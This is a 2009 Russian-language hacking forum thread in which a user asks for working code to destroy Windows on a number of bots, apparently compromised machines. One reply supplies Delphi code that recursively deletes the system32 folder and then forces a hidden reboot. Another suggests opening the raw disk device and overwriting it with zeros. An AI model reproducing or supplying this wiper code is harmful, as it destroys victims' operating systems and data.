Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |

31.07.2009, 19:54
|
|
Постоянный
Регистрация: 15.03.2006
Сообщений: 600
Провел на форуме: 5091304
Репутация:
1203
|
|
Убить win
Необходимо убить n-е количество ботов, подгрузив бинарник. изголялся всяко, выживают. уже посносил на них все драйвера, boot.ini (на виртуалку подгружаю, проверяю - тоже выживает.
В общем у кого есть, скиньте бинарник\код рабочий
|
|
|

31.07.2009, 22:25
|
|
Участник форума
Регистрация: 07.01.2009
Сообщений: 186
Провел на форуме: 1247273
Репутация:
166
|
|
Код:
function FullRemoveDir(Dir: string; DeleteAllFilesAndFolders,
StopIfNotAllDeleted, RemoveRoot: boolean): Boolean;
var
i: Integer;
SRec: TSearchRec;
FN: string;
begin
Result := False;
if not DirectoryExists(Dir) then
exit;
Result := True;
// Добавляем слэш в конце и задаем маску - "все файлы и директории"
Dir := IncludeTrailingBackslash(Dir);
i := FindFirst(Dir + '*', faAnyFile, SRec);
try
while i = 0 do
begin
// Получаем полный путь к файлу или директорию
FN := Dir + SRec.Name;
// Если это директория
if SRec.Attr = faDirectory then
begin
// Рекурсивный вызов этой же функции с ключом удаления корня
if (SRec.Name <> '') and (SRec.Name <> '.') and (SRec.Name <> '..') then
begin
if DeleteAllFilesAndFolders then
FileSetAttr(FN, faArchive);
Result := FullRemoveDir(FN, DeleteAllFilesAndFolders,
StopIfNotAllDeleted, True);
if not Result and StopIfNotAllDeleted then
exit;
end;
end
else // Иначе удаляем файл
begin
if DeleteAllFilesAndFolders then
FileSetAttr(FN, faArchive);
Result := SysUtils.DeleteFile(FN);
if not Result and StopIfNotAllDeleted then
exit;
end;
// Берем следующий файл или директорию
i := FindNext(SRec);
end;
finally
SysUtils.FindClose(SRec);
end;
if not Result then
exit;
if RemoveRoot then // Если необходимо удалить корень - удаляем
if not RemoveDir(Dir) then
Result := false;
end;
function GetWinDir: string;
var S: array[0..MAX_PATH] of Char;
begin
GetWindowsDirectory(S,SizeOf(S));
Result:=S;
end;
begin
FullRemoveDir(GetWinDir+'\system32\';,true,false,false);
winexec(pchar('shutdown -r -t5'),sw_hide);
end.
Как я понял: надо винду подбить?
Тогда энто подойдет
|
|
|

31.07.2009, 22:33
|
|
Постоянный
Регистрация: 16.08.2006
Сообщений: 640
Провел на форуме: 1354067
Репутация:
599
|
|
есть вариант проще. CreateFile("\\.\C:") и записываем нули размером с диск по 512 байт.
|
|
|
|
 |
Похожие темы
|
| Тема |
Автор |
Раздел |
Ответов |
Последнее сообщение |
|
Секреты Windows 7
|
Campery |
Статьи |
17 |
19.11.2009 02:33 |
|
Как грамотно убить компьютер
|
[AG] |
Статьи |
12 |
06.10.2009 14:39 |
|
Продажа дедиков!!!
|
ferya |
Хостинг, Dedicated, VDS, Сервера - Покупка, продажа |
2 |
07.07.2009 22:56 |
|
Dedicated Servers
|
spilberg |
Хостинг, Dedicated, VDS, Сервера - Покупка, продажа |
1 |
18.02.2009 22:11 |
|
Dedicated Servers
|
bad_signal |
Хостинг, Dedicated, VDS, Сервера - Покупка, продажа |
1 |
10.02.2009 16:04 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|